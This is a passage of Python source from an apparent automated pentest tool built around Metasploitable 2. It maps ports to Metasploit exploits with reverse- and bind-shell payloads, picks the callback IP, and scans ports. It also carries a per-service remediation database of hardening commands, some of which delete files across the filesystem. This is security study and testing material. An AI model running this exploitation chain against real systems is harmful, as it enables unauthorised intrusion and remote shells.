    ("6379","redis"):             ("exploit/linux/redis/redis_replication_cmd_exec","cmd/unix/reverse_bash", True),

    ("8080","tomcat"):            ("exploit/multi/http/tomcat_mgr_upload",          "java/meterpreter/reverse_tcp", True),
    ("8180","tomcat"):            ("exploit/multi/http/tomcat_mgr_upload",          "java/meterpreter/reverse_tcp", True),
    ("80","shellshock"):          ("exploit/multi/http/apache_mod_cgi_bash_env_exec","linux/x86/meterpreter/reverse_tcp", True),
    ("80","http-vuln-cve2012-1823"):("exploit/multi/http/php_cgi_arg_injection",   "php/meterpreter/reverse_tcp", True),
    ("80","drupalgeddon"):        ("exploit/unix/webapp/drupal_drupalgeddon2",       "php/meterpreter/reverse_tcp", True),
    ("443","heartbleed"):         ("auxiliary/scanner/ssl/openssl_heartbleed",       "", False),
    ("443","ssl-heartbleed"):     ("auxiliary/scanner/ssl/openssl_heartbleed",       "", False),

    ("512","rexec"):              ("auxiliary/scanner/rservices/rexec_login",        "", False),
    ("513","rlogin"):             ("auxiliary/scanner/rservices/rlogin_login",       "", False),

    ("3632","distcc-cve2004-2687"):("exploit/unix/misc/distcc_exec",                "cmd/unix/reverse_bash", True),
    ("3632","distcc"):            ("exploit/unix/misc/distcc_exec",                  "cmd/unix/reverse_bash", True),

    # UnrealIRCd 3.2.8.1 backdoor: sends "AB" prefix, opens shell directly — NO PAYLOAD or MSF errors
    ("6667","irc-unrealircd-backdoor"):("exploit/unix/irc/unreal_ircd_3281_backdoor","", False),
    ("6667","unreal"):                 ("exploit/unix/irc/unreal_ircd_3281_backdoor","", False),
    ("6697","irc-unrealircd-backdoor"):("exploit/unix/irc/unreal_ircd_3281_backdoor","", False),
    ("6697","unreal"):                 ("exploit/unix/irc/unreal_ircd_3281_backdoor","", False),

    ("5900","vnc"):               ("auxiliary/scanner/vnc/vnc_login",                "", False),
    ("2049","nfs"):               ("auxiliary/scanner/nfs/nfsmount",                 "", False),

    ("1099","java rmi"):          ("exploit/multi/misc/java_rmi_server",             "java/meterpreter/reverse_tcp", True),
    ("1099","rmi-vuln-classloader"):("exploit/multi/misc/java_rmi_server",           "java/meterpreter/reverse_tcp", True),

    ("8081","jenkins"):           ("exploit/multi/http/jenkins_script_console",      "java/meterpreter/reverse_tcp", True),
    ("9200","elastic"):           ("exploit/multi/elasticsearch/search_groovy_script","java/meterpreter/reverse_tcp", True),
    ("2375","docker"):            ("exploit/linux/http/docker_daemon_tcp",            "linux/x86/meterpreter/reverse_tcp", True),
    ("10000","webmin"):           ("exploit/unix/webapp/webmin_show_cgi_exec",        "cmd/unix/reverse_perl", True),

    ("1524","ingreslock"):        ("exploit/unix/misc/distcc_exec",                   "cmd/unix/reverse_bash", True),
    ("8787","drb"):               ("exploit/linux/misc/drb_remote_codeexec",          "cmd/unix/reverse_bash", True),

    ("8009","ajp"):               ("auxiliary/admin/http/tomcat_ghostcat",             "", False),
}

REMEDIATION_DB = {
    "21": {
        "name": "FTP",
        "risk": "vsftpd 2.3.4 backdoor (CVE-2011-2523) — trivial remote root shell. Anonymous FTP also exposes data.",
        "fix": "Immediately replace vsftpd with a patched version. Disable anonymous access. Consider replacing FTP with SFTP entirely.",
        "cmd_linux": (
            "# Remove backdoored vsftpd and replace\n"
            "apt-get remove vsftpd -y\n"
            "apt-get install vsftpd -y\n"
            "# Disable anonymous login\n"
            "sed -i 's/anonymous_enable=YES/anonymous_enable=NO/' /etc/vsftpd.conf\n"
            "# Restrict to local users only\n"
            "echo 'local_enable=YES' >> /etc/vsftpd.conf\n"
            "echo 'chroot_local_user=YES' >> /etc/vsftpd.conf\n"
            "systemctl restart vsftpd\n"
            "# Block FTP port from external access\n"
            "ufw deny 21/tcp"
        ),
        "cmd_windows": "# Disable FTP service if not needed\nStop-Service -Name 'FTPSVC' -Force\nSet-Service -Name 'FTPSVC' -StartupType Disabled",
    },
    "22": {
        "name": "SSH",
        "risk": "OpenSSH 4.7p1 is outdated and vulnerable to multiple CVEs. Default credentials (msfadmin/msfadmin) allow trivial login.",
        "fix": "Upgrade OpenSSH, disable password auth, enforce key-based auth, disable root login, change default credentials.",
        "cmd_linux": (
            "# Harden SSH configuration\n"
            "sed -i 's/#PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config\n"
            "sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config\n"
            "sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config\n"
            "sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config\n"
            "echo 'MaxAuthTries 3' >> /etc/ssh/sshd_config\n"
            "echo 'LoginGraceTime 30' >> /etc/ssh/sshd_config\n"
            "echo 'AllowUsers YOUR_USER' >> /etc/ssh/sshd_config\n"
            "# Change default password immediately\n"
            "passwd msfadmin\n"
            "# Upgrade SSH\n"
            "apt-get upgrade openssh-server -y\n"
            "systemctl restart sshd"
        ),
        "cmd_windows": "# Restrict SSH access via Windows Firewall\nNew-NetFirewallRule -Name 'SSH' -DisplayName 'SSH' -Protocol TCP -LocalPort 22 -Action Allow -RemoteAddress YOUR_IP_RANGE",
    },
    "23": {
        "name": "Telnet",
        "risk": "Telnet transmits all credentials and data in cleartext. Trivially interceptable. No reason to run in 2024+.",
        "fix": "Disable and remove telnetd immediately. Use SSH for all remote access.",
        "cmd_linux": (
            "# Disable and remove telnet\n"
            "systemctl stop telnet.socket 2>/dev/null || true\n"
            "systemctl disable telnet.socket 2>/dev/null || true\n"
            "apt-get remove --purge telnetd telnet -y\n"
            "# Block port 23\n"
            "ufw deny 23/tcp"
        ),
        "cmd_windows": "Disable-WindowsOptionalFeature -Online -FeatureName TelnetServer\nNetsh advfirewall firewall add rule name='Block Telnet' protocol=TCP dir=in localport=23 action=block",
    },
    "25": {
        "name": "SMTP",
        "risk": "Open SMTP relay allows spam/phishing. User enumeration via VRFY/EXPN. Postfix version may have known CVEs.",
        "fix": "Disable open relay, disable VRFY/EXPN, require SMTP AUTH for sending.",
        "cmd_linux": (
            "# Disable VRFY and EXPN\n"
            "postconf -e 'disable_vrfy_command = yes'\n"
            "# Restrict relay\n"
            "postconf -e 'smtpd_relay_restrictions = permit_mynetworks, permit_sasl_authenticated, reject_unauth_destination'\n"
            "# Require authentication\n"
            "postconf -e 'smtpd_sasl_auth_enable = yes'\n"
            "systemctl restart postfix"
        ),
        "cmd_windows": "# Restrict SMTP relay in IIS SMTP settings",
    },
    "80": {
        "name": "HTTP",
        "risk": "Apache 2.2.8 with PHP 5.2.4 — multiple critical CVEs. PHP CGI arg injection (CVE-2012-1823). Unencrypted HTTP.",
        "fix": "Upgrade Apache and PHP immediately. Force HTTPS. Disable PHP CGI mode. Add security headers.",
        "cmd_linux": (
            "# Upgrade Apache and PHP\n"
            "apt-get upgrade apache2 php -y\n"
            "# Disable PHP CGI (the vulnerable interface)\n"
            "a2dismod cgi\n"
            "# Add security headers\n"
            "cat >> /etc/apache2/conf-available/security.conf << 'EOF'\n"
            "Header always set X-Frame-Options DENY\n"
            "Header always set X-Content-Type-Options nosniff\n"
            "Header always set X-XSS-Protection '1; mode=block'\n"
            "Header always set Content-Security-Policy \"default-src 'self'\"\n"
            "ServerTokens Prod\n"
            "ServerSignature Off\n"
            "EOF\n"
            "a2enmod headers\n"
            "# Force HTTPS redirect\n"
            "echo 'Redirect permanent / https://YOUR_DOMAIN/' >> /etc/apache2/sites-enabled/000-default.conf\n"
            "systemctl restart apache2"
        ),
        "cmd_windows": "# Update IIS and add security headers via web.config",
    },
    "111": {
        "name": "RPCbind",
        "risk": "RPCbind exposes NFS and other RPC services. Combined with NFS, allows mounting remote filesystems.",
        "fix": "Block port 111 externally. Restrict NFS exports to specific trusted IPs.",
        "cmd_linux": (
            "# Block rpcbind from external access\n"
            "ufw deny 111/tcp\n"
            "ufw deny 111/udp\n"
            "# If NFS is not needed, disable it\n"
            "systemctl stop nfs-server rpcbind\n"
            "systemctl disable nfs-server rpcbind"
        ),
        "cmd_windows": "# Disable RPC mapper if not needed",
    },
    "139": {
        "name": "NetBIOS/SMB",
        "risk": "Samba 3.0.20 — CVE-2007-2447 (usermap_script) allows unauthenticated remote root command execution.",
        "fix": "Upgrade Samba immediately. Disable SMBv1. Block ports 139/445 from external access.",
        "cmd_linux": (
            "# Upgrade Samba to patched version\n"
            "apt-get upgrade samba -y\n"
            "# Disable SMBv1 and restrict protocol\n"
            "cat >> /etc/samba/smb.conf << 'EOF'\n"
            "[global]\n"
            "min protocol = SMB2\n"
            "smb encrypt = required\n"
            "restrict anonymous = 2\n"
            "EOF\n"
            "systemctl restart smbd nmbd\n"
            "# Block from external access\n"
            "ufw deny 139/tcp\n"
            "ufw deny 445/tcp"
        ),
        "cmd_windows": "Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force\nDisable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol",
    },
    "443": {
        "name": "HTTPS/SSL",
        "risk": "SSL/TLS misconfigurations. Heartbleed (CVE-2014-0160) if OpenSSL < 1.0.1g. Weak cipher suites.",
        "fix": "Update OpenSSL, enforce TLS 1.2+, disable weak ciphers, disable SSL 3.0/TLS 1.0/1.1.",
        "cmd_linux": (
            "# Upgrade OpenSSL\n"
            "apt-get upgrade openssl libssl-dev -y\n"
            "# Restrict TLS versions (Apache)\n"
            "cat >> /etc/apache2/mods-available/ssl.conf << 'EOF'\n"
            "SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1\n"
            "SSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256\n"
            "SSLHonorCipherOrder off\n"
            "SSLSessionTickets off\n"
            "EOF\n"
            "systemctl restart apache2"
        ),
        "cmd_windows": "# Disable weak TLS via registry or IIS Crypto tool",
    },
    "445": {
        "name": "SMB",
        "risk": "Samba 3.0.20 (CVE-2007-2447). Also check MS17-010 EternalBlue if Windows target.",
        "fix": "Upgrade Samba. Disable SMBv1. Block externally.",
        "cmd_linux": (
            "apt-get upgrade samba -y\n"
            "echo -e '[global]\\nmin protocol = SMB2\\nrestrict anonymous = 2' >> /etc/samba/smb.conf\n"
            "systemctl restart smbd\n"
            "ufw deny 445/tcp"
        ),
        "cmd_windows": (
            "Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force\n"
            "Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol\n"
            "# Apply MS17-010 patch if not already done\n"
            "wusa.exe KB4012212 /quiet /norestart"
        ),
    },
    "512": {
        "name": "rexec",
        "risk": "R-services (rexec/rlogin/rsh) use trust-based authentication — trivially bypassable. No encryption.",
        "fix": "Disable all R-services. Replace with SSH.",
        "cmd_linux": (
            "# Remove R-services completely\n"
            "apt-get remove --purge rsh-server rsh-client -y\n"
            "# Clear .rhosts and hosts.equiv trust files\n"
            "find / -name '.rhosts' -delete 2>/dev/null\n"
            "find / -name 'hosts.equiv' -delete 2>/dev/null\n"
            "ufw deny 512/tcp && ufw deny 513/tcp && ufw deny 514/tcp"
        ),
        "cmd_windows": "# Disable R-services via services.msc",
    },
    "513": {
        "name": "rlogin",
        "risk": "rlogin uses .rhosts trust files — no real authentication. Allows login without password.",
        "fix": "Remove .rhosts files and disable rlogin service.",
        "cmd_linux": "apt-get remove --purge rsh-server -y\nfind / -name '.rhosts' -delete 2>/dev/null\nufw deny 513/tcp",
        "cmd_windows": "# Disable R-services",
    },
    "514": {
        "name": "rsh",
        "risk": "RSH allows command execution via trust files. Equivalent to unauthenticated remote shell.",
        "fix": "Remove .rhosts, disable rsh, use SSH instead.",
        "cmd_linux": "apt-get remove --purge rsh-server -y\nfind / -name '.rhosts' -delete 2>/dev/null\nufw deny 514/tcp",
        "cmd_windows": "# Disable R-services",
    },
    "1099": {
        "name": "Java RMI",
        "risk": "Java RMI registry exposes remote method invocation — can lead to deserialization RCE.",
        "fix": "Disable Java RMI if not needed. If required, restrict access via firewall to trusted hosts only.",
        "cmd_linux": (
            "# Block RMI from external access\n"
            "ufw deny 1099/tcp\n"
            "# In Java app, set -Djava.rmi.server.hostname=127.0.0.1\n"
            "# Use Java Security Manager to restrict RMI"
        ),
        "cmd_windows": "netsh advfirewall firewall add rule name='Block RMI' protocol=TCP dir=in localport=1099 action=block",
    },
    "1524": {
        "name": "Bindshell (Ingreslock)",
        "risk": "Port 1524 is a root backdoor shell on Metasploitable 2 — anyone can connect and get root.",
        "fix": "This is a deliberately placed backdoor. Kill the process and block the port immediately.",
        "cmd_linux": (
            "# Kill the bindshell process\n"
            "fuser -k 1524/tcp\n"
            "# Block the port\n"
            "ufw deny 1524/tcp\n"
            "# Check for other backdoors\n"
            "netstat -tlnp | grep -v 'sshd\\|apache\\|nginx\\|mysql\\|postgres'"
        ),
        "cmd_windows": "# Kill process using port 1524",
    },
    "2049": {
        "name": "NFS",
        "risk": "NFS exports may expose sensitive directories including /root, /home, /etc. No auth on NFSv3.",
        "fix": "Restrict NFS exports to specific trusted IPs. Never export /root or /. Require Kerberos auth.",
        "cmd_linux": (
            "# Check what is exported\n"
            "cat /etc/exports\n"
            "# Restrict exports to specific IPs (replace 0.0.0.0 with actual trusted IP)\n"
            "# Edit /etc/exports: change *(rw) to 192.168.1.0/24(rw,no_root_squash)\n"
            "# Add no_root_squash removal and restrict:\n"
            "sed -i 's/\\*/192.168.1.0\\/24/g' /etc/exports\n"
            "sed -i 's/no_root_squash/root_squash/g' /etc/exports\n"
            "exportfs -ra\n"
            "# Block from external access\n"
            "ufw deny 2049/tcp && ufw deny 2049/udp"
        ),
        "cmd_windows": "# Disable NFS server via Server Manager if not needed",
    },
    "3306": {
        "name": "MySQL",
        "risk": "MySQL 5.0.51a — root account has no password. Remotely accessible. Risk of data theft and UDF exploitation.",
        "fix": "Set strong root password, bind to localhost, remove anonymous users, disable remote root login.",
        "cmd_linux": (
            "# Set root password\n"
            "mysqladmin -u root password 'NEW_STRONG_PASSWORD'\n"
            "# Secure MySQL installation\n"
            "mysql -u root -pNEW_STRONG_PASSWORD << 'EOF'\n"
            "DELETE FROM mysql.user WHERE User='';\n"
            "DELETE FROM mysql.user WHERE User='root' AND Host NOT IN ('localhost', '127.0.0.1', '::1');\n"
            "DROP DATABASE IF EXISTS test;\n"
            "DELETE FROM mysql.db WHERE Db='test' OR Db='test\\_%';\n"
            "FLUSH PRIVILEGES;\n"
            "EOF\n"
            "# Bind MySQL to localhost only\n"
            "sed -i 's/bind-address.*/bind-address = 127.0.0.1/' /etc/mysql/mysql.conf.d/mysqld.cnf\n"
            "systemctl restart mysql\n"
            "ufw deny 3306/tcp"
        ),
        "cmd_windows": "# Run mysql_secure_installation and set root password",
    },
    "3632": {
        "name": "DistCC",
        "risk": "DistCC daemon allows arbitrary command execution as the daemon user (CVE-2004-2687). Trivial RCE.",
        "fix": "Disable DistCC if not needed. If needed, restrict to trusted build hosts only.",
        "cmd_linux": (
            "# Stop and disable distccd\n"
            "systemctl stop distcc\n"
            "systemctl disable distcc\n"
            "apt-get remove distcc -y\n"
            "# Block port\n"
            "ufw deny 3632/tcp"
        ),
        "cmd_windows": "# Not applicable — DistCC is Linux-only",
    },
    "5432": {
        "name": "PostgreSQL",
        "risk": "PostgreSQL 8.3 with default credentials (postgres/postgres). Remote access enabled. UDF exploitation possible.",
        "fix": "Change default password, bind to localhost, restrict pg_hba.conf access.",
        "cmd_linux": (
            "# Change postgres password\n"
            "su - postgres -c \"psql -c \\\"ALTER USER postgres PASSWORD 'NEW_STRONG_PASSWORD';\\\"\"\n"
            "# Bind to localhost\n"
            "sed -i \"s/#listen_addresses = 'localhost'/listen_addresses = 'localhost'/\" /etc/postgresql/*/main/postgresql.conf\n"
            "sed -i \"s/listen_addresses = '\\*'/listen_addresses = 'localhost'/\" /etc/postgresql/*/main/postgresql.conf\n"
            "# Restrict pg_hba.conf — replace 'trust' with 'md5'\n"
            "sed -i 's/host.*all.*all.*0.0.0.0\\/0.*trust/# removed open access/' /etc/postgresql/*/main/pg_hba.conf\n"
            "systemctl restart postgresql\n"
            "ufw deny 5432/tcp"
        ),
        "cmd_windows": "# Change postgres password via pgAdmin and restrict pg_hba.conf",
    },
    "5900": {
        "name": "VNC",
        "risk": "VNC password is 'password' — trivial to guess. Remote desktop access to the system.",
        "fix": "Set strong VNC password, restrict to localhost, use SSH tunneling for remote access.",
        "cmd_linux": (
            "# Set strong VNC password\n"
            "vncpasswd\n"
            "# Restrict VNC to localhost (use SSH tunnel to access remotely)\n"
            "# Edit VNC startup to bind to 127.0.0.1 only\n"
            "# In ~/.vnc/xstartup or vncserver config, add: -localhost\n"
            "# Block from external access\n"
            "ufw deny 5900/tcp\n"
            "ufw deny 5901/tcp"
        ),
        "cmd_windows": "# Use TightVNC or RealVNC with strong password and IP whitelisting",
    },
    "6000": {
        "name": "X11",
        "risk": "X11 display is open — allows remote screenshot capture, keylogging, and GUI hijacking.",
        "fix": "Disable X11 TCP access. Use SSH X11 forwarding instead.",
        "cmd_linux": (
            "# Disable X11 TCP connections\n"
            "echo 'DisallowTCP true' >> /etc/X11/xorg.conf.d/10-security.conf\n"
            "# Or start X with -nolisten tcp\n"
            "sed -i 's/DAEMON_OPTS=\"/DAEMON_OPTS=\"-nolisten tcp /' /etc/X11/xinit/xserverrc\n"
            "ufw deny 6000/tcp"
        ),
        "cmd_windows": "# Not applicable",
    },
    "6667": {
        "name": "IRC / UnrealIRCd",
        "risk": "UnrealIRCd 3.2.8.1 contains a backdoor (CVE-2010-2075) — sending 'AB' prefix gives instant root shell.",
        "fix": "Remove UnrealIRCd immediately. Verify binary checksums if reinstalling. Block IRC ports.",
        "cmd_linux": (
            "# Remove backdoored UnrealIRCd\n"
            "systemctl stop unrealircd 2>/dev/null || true\n"
            "apt-get remove --purge unrealircd -y\n"
            "# Kill any remaining IRC processes\n"
            "pkill -f unrealircd\n"
            "# Block IRC ports\n"
            "ufw deny 6667/tcp\n"
            "ufw deny 6697/tcp\n"
            "# If IRC is legitimately needed, download a verified clean version\n"
            "# and verify its SHA256 checksum before deploying"
        ),
        "cmd_windows": "# Remove IRC server software and block port 6667",
    },
    "8009": {
        "name": "AJP / Tomcat",
        "risk": "AJP connector exposed (Ghostcat CVE-2020-1938) — allows reading any file from webapp root.",
        "fix": "Disable AJP connector or restrict to localhost. Upgrade Tomcat.",
        "cmd_linux": (
            "# Disable AJP in Tomcat server.xml\n"
            "sed -i 's/<Connector port=\"8009\".*\\/>/<!-- AJP disabled -->/' /etc/tomcat*/server.xml\n"
            "# Or set requiredSecret and bind to localhost:\n"
            "# <Connector protocol=\"AJP/1.3\" port=\"8009\" address=\"127.0.0.1\" requiredSecret=\"SECRET\" />\n"
            "systemctl restart tomcat*\n"
            "ufw deny 8009/tcp"
        ),
        "cmd_windows": "# Disable AJP connector in Tomcat server.xml",
    },
    "8180": {
        "name": "Tomcat HTTP",
        "risk": "Apache Tomcat 5.5 with default credentials (tomcat/tomcat). Manager webapp allows WAR file upload = RCE.",
        "fix": "Change Tomcat credentials, restrict manager app to localhost, upgrade Tomcat.",
        "cmd_linux": (
            "# Change Tomcat credentials in tomcat-users.xml\n"
            "# Edit /etc/tomcat*/tomcat-users.xml and set strong password\n"
            "# Restrict manager to localhost in context.xml:\n"
            "# <Valve className='org.apache.catalina.valves.RemoteAddrValve' allow='127\\.\\d+\\.\\d+\\.\\d+'/>\n"
            "apt-get upgrade tomcat* -y\n"
            "systemctl restart tomcat*"
        ),
        "cmd_windows": "# Restrict Tomcat manager in context.xml and change default credentials",
    },
    "3389": {
        "name": "RDP",
        "risk": "BlueKeep (CVE-2019-0708) on older Windows. Brute force exposure. Weak NLA settings.",
        "fix": "Enable NLA authentication, apply BlueKeep patch, restrict RDP to VPN/jump host.",
        "cmd_linux": "# RDP is Windows-only",
        "cmd_windows": (
            "# Enable Network Level Authentication\n"
            "Set-ItemProperty -Path 'HKLM:\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp' -Name UserAuthentication -Value 1\n"
            "# Restrict RDP to specific IPs via Windows Firewall\n"
            "New-NetFirewallRule -DisplayName 'RDP Restrict' -Direction Inbound -Protocol TCP -LocalPort 3389 -RemoteAddress YOUR_TRUSTED_IP -Action Allow\n"
            "New-NetFirewallRule -DisplayName 'RDP Block All' -Direction Inbound -Protocol TCP -LocalPort 3389 -Action Block"
        ),
    },
    "6379": {
        "name": "Redis",
        "risk": "Redis with no authentication — allows writing arbitrary files, cron jobs, and SSH keys (RCE as redis user).",
        "fix": "Set requirepass, bind to localhost, disable dangerous commands.",
        "cmd_linux": (
            "# Set strong password\n"
            "sed -i 's/# requirepass .*/requirepass STRONG_REDIS_PASSWORD/' /etc/redis/redis.conf\n"
            "# Bind to localhost\n"
            "sed -i 's/^bind .*/bind 127.0.0.1/' /etc/redis/redis.conf\n"
            "# Disable dangerous commands\n"
            "echo 'rename-command CONFIG \"\"' >> /etc/redis/redis.conf\n"
            "echo 'rename-command SLAVEOF \"\"' >> /etc/redis/redis.conf\n"
            "echo 'rename-command DEBUG \"\"' >> /etc/redis/redis.conf\n"
            "systemctl restart redis\n"
            "ufw deny 6379/tcp"
        ),
        "cmd_windows": "# Set Redis password in redis.windows.conf",
    },
}

def emit_log(msg, level="info", phase=None):
    entry = {"msg": msg, "level": level, "time": datetime.datetime.now().strftime("%H:%M:%S")}
    scan_state["log"].append(entry)
    if phase is not None:
        scan_state["phase"] = phase
    socketio.emit("log", entry)

def emit_progress(pct, task=""):
    scan_state["progress"] = pct
    scan_state["current_task"] = task
    socketio.emit("progress", {"pct": pct, "task": task})

def emit_stats(**kwargs):
    """Push live stat-bar updates to the UI (ports, svcs, crit, high, exps, risk)."""
    socketio.emit("stats", kwargs)

def run_cmd(cmd, timeout=300):
    try:
        r = subprocess.run(shlex.split(cmd), capture_output=True, text=True, timeout=timeout)
        return (r.stdout + r.stderr).strip()
    except subprocess.TimeoutExpired:
        return f"TIMEOUT after {timeout}s"
    except Exception as e:
        return f"ERROR: {e}"

def _auto_lhost(provided: str = "", target: str = "") -> str:
    """
    Return the best LHOST for reverse shells.

    If the UI passed a non-zero IP, use it. Otherwise ask the kernel which
    *local* interface IP it would use to reach the TARGET — NOT 8.8.8.8.

    Why this matters: the old code connected a UDP socket to 8.8.8.8 and used
    that source IP. Inside Docker that returns the bridge IP (e.g. 172.18.0.3),
    which is correct for reaching the internet but WRONG as a reverse-shell
    callback address when the target (e.g. 192.168.64.2) lives on a different
    network and cannot route back to 172.18.0.3. That produced the classic
    "Exploit completed, but no session was created" — the payload fired but its
    reverse connection went to an unreachable address.

    Routing to the actual target gives the interface IP on the path to the
    target, which is the address the target can (often) reach us on.
    """
    if provided and provided not in ("", "0.0.0.0"):
        return provided
    import socket as _sock
    probe = target if target else "8.8.8.8"
    try:
        s = _sock.socket(_sock.AF_INET, _sock.SOCK_DGRAM)
        s.connect((probe, 9))
        ip = s.getsockname()[0]
        s.close()
        return ip
    except Exception:
        return "0.0.0.0"


def _same_subnet(ip_a: str, ip_b: str) -> bool:
    """True if both IPs share a /24 — a cheap heuristic for 'the target can
    reach me directly without NAT'. Used to decide whether a reverse shell is
    viable or whether we should switch to a bind shell."""
    try:
        return ip_a.rsplit(".", 1)[0] == ip_b.rsplit(".", 1)[0]
    except Exception:
        return False


# Map reverse payloads → their bind equivalents. Bind shells have the TARGET
# listen and WE connect in, so they sidestep the Docker/NAT callback problem
# entirely whenever the target is directly reachable from us (which it is —
# the scan and exploit upload already proved connectivity TO the target).
_REVERSE_TO_BIND = {
    "linux/x86/meterpreter/reverse_tcp":  "linux/x86/meterpreter/bind_tcp",
    "linux/x64/meterpreter/reverse_tcp":  "linux/x64/meterpreter/bind_tcp",
    "linux/x86/shell/reverse_tcp":        "linux/x86/shell/bind_tcp",
    "linux/x86/shell_reverse_tcp":        "linux/x86/shell_bind_tcp",
    "java/meterpreter/reverse_tcp":       "java/meterpreter/bind_tcp",
    "java/shell/reverse_tcp":             "java/shell/bind_tcp",
    "php/meterpreter/reverse_tcp":        "php/meterpreter/bind_tcp",
    "php/reverse_php":                    "php/bind_php",
    "cmd/unix/reverse":                   "cmd/unix/bind_netcat",
    "cmd/unix/reverse_bash":              "cmd/unix/bind_perl",
    "cmd/unix/reverse_perl":              "cmd/unix/bind_perl",
    "cmd/unix/reverse_netcat":            "cmd/unix/bind_netcat",
    "cmd/unix/reverse_python":            "cmd/unix/bind_perl",
    "windows/meterpreter/reverse_tcp":    "windows/meterpreter/bind_tcp",
    "windows/x64/meterpreter/reverse_tcp":"windows/x64/meterpreter/bind_tcp",
}


def _to_bind_payload(payload: str) -> str:
    """Return the bind-shell equivalent of a reverse payload, or '' if none."""
    return _REVERSE_TO_BIND.get((payload or "").strip(), "")


def fast_port_scan(target, port_range, max_threads=200, timeout=3.0, retries=3):
    """Raw-socket TCP connect scanner.

    Determinism note: the old version used a 0.5s timeout with 500 concurrent
    threads. Under that load a lot of connect() attempts to live-but-busy
    ports time out before the SYN/ACK arrives, so the *same* target returned a
        """
    # Cap concurrency: above ~250 simultaneous connect() attempts the OS starts
    # dropping/timing-out handshakes under load, which is exactly the
    # non-determinism we're trying to eliminate. The UI default is 500 threads,
    # so clamp it here regardless of what the caller passes.
    max_threads = max(1, min(int(max_threads), 250))
    start_p, end_p = map(int, port_range.split("-")) if "-" in port_range else (int(port_range), int(port_range))
    all_ports = list(range(start_p, end_p + 1))
    total = len(all_ports)
    open_set: set = set()
    open_lock = threading.Lock()
    scanned = [0]
    scanned_lock = threading.Lock()

    def _scan_pass(ports_to_check):
        sem = threading.Semaphore(max_threads)

        def check(port):
            with sem:
                try:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.settimeout(timeout)
                    r = s.connect_ex((target, port))
                    s.close()
                    if r == 0:
                        with open_lock:
                            open_set.add(port)
                except Exception:
                    pass
                finally:
                    with scanned_lock:
                        scanned[0] += 1
                        if scanned[0] % 1000 == 0:
                            pct = 10 + int((scanned[0] / max(total, 1)) * 20)
                            emit_progress(min(pct, 30),
                                          f"Fast scan: {scanned[0]:,} probes")

        threads = []
        for port in ports_to_check:
            t = threading.Thread(target=check, args=(port,), daemon=True)
            threads.append(t)
            t.start()
            # Cap live threads to avoid memory/FD explosion on large ranges
            if len(threads) >= max_threads * 2:
                for th in threads:
                    th.join()
                threads = []
        for t in threads:
            t.join()

    # Pass 1 — probe everything.
    _scan_pass(all_ports)

    # Passes 2..N — only re-probe ports NOT yet seen open. Missed-open ports
    # (lost to load on the previous pass) get rescued here; truly closed ports
    # answer instantly so this stays fast.
    #
    # We require TWO consecutive empty passes before stopping, not one. A port
    # like Tomcat on 8180 was being missed on the initial pass AND the first
    # retry (target briefly slow), then a single empty pass used to stop us
    # before a later pass could rescue it. Persisting through one empty pass
    # catches those genuinely-open-but-intermittently-slow ports.
    empty_passes = 0
    for _ in range(max(0, retries)):
        missed = [p for p in all_ports if p not in open_set]
        if not missed:
            break
        before = len(open_set)
        _scan_pass(missed)
        if len(open_set) == before:
            empty_passes += 1
            if empty_passes >= 2:
                break  # two passes in a row found nothing new → settled
        else:
            empty_passes = 0

    return sorted(open_set)

def detect_services(target, open_ports, out_dir):
    if not open_ports:
        return [], ""
    port_str = ",".join(str(p) for p in open_ports)
    xml_path = f"{out_dir}/xml/services.xml"
    cmd = (f"nmap -sV -O -T4 --open --version-intensity 7 "
           f"--max-retries 2 -p {port_str} -oX {xml_path} {target}")
    emit_log(f"Service detection on {len(open_ports)} open ports", "run")
    run_cmd(cmd, timeout=600)

    services = []
    os_name  = "Unknown"
    try:
        tree = ET.parse(xml_path)
        root = tree.getroot()
        for osmatch in root.findall(".//osmatch"):
            os_name = osmatch.get("name","Unknown"); break
        for port_el in root.findall(".//port"):
            state = port_el.find("state")
            if state is None or state.get("state") != "open": continue
            svc = port_el.find("service")
            has_svc = svc is not None
            services.append({
                "ip": target,
                "port": port_el.get("portid",""),
                "protocol": port_el.get("protocol","tcp"),
                "service": svc.get("name","")    if has_svc else "",
                "product": svc.get("product","") if has_svc else "",
                "version": svc.get("version","") if has_svc else "",
                "banner": (f"{svc.get('product','')} {svc.get('version','')}".strip()
                           if has_svc else ""),
            })
    except Exception as e:
        emit_log(f"XML parse error: {e}", "warn")

    return services, xml_path, os_name

def run_all_nse(target, services, out_dir, sid):
    findings = {}
    tasks = []
    for svc in services:
        port_key = svc["port"]
        service_name = (svc.get("service","") or "").lower()

        # Primary: exact port match
        scripts = PORT_SCRIPTS.get(port_key)

        # Secondary: try service-name heuristic for unmapped ports
        if scripts is None:
            if any(k in service_name for k in ("http","www","web","tomcat","jetty","nginx","apache")):
                scripts = ["http-auth","http-enum","http-headers","http-methods",
                           "http-robots.txt","http-server-header","http-title",
                           "http-sql-injection","http-shellshock","http-waf-detect",
                           "http-vuln-cve2017-5638","http-default-accounts"]
            elif any(k in service_name for k in ("ftp",)):
                scripts = ["ftp-anon","ftp-brute","ftp-syst","ftp-vsftpd-backdoor"]
            elif any(k in service_name for k in ("ssh",)):
                scripts = ["ssh-auth-methods","ssh-hostkey","ssh2-enum-algos","sshv1"]
            elif any(k in service_name for k in ("smtp","mail")):
                scripts = ["smtp-commands","smtp-enum-users","smtp-open-relay"]
            elif any(k in service_name for k in ("smb","microsoft-ds","netbios")):
                scripts = ["smb-os-discovery","smb-security-mode","smb-enum-shares",
                           "smb-vuln-ms17-010","smb-vuln-ms08-067","smb-protocols"]
            elif any(k in service_name for k in ("mysql","mariadb")):
                scripts = ["mysql-info","mysql-empty-password","mysql-databases"]
            elif any(k in service_name for k in ("ssl","tls","https")):
                scripts = ["ssl-cert","ssl-enum-ciphers","ssl-heartbleed","ssl-poodle"]
            elif any(k in service_name for k in ("vnc",)):
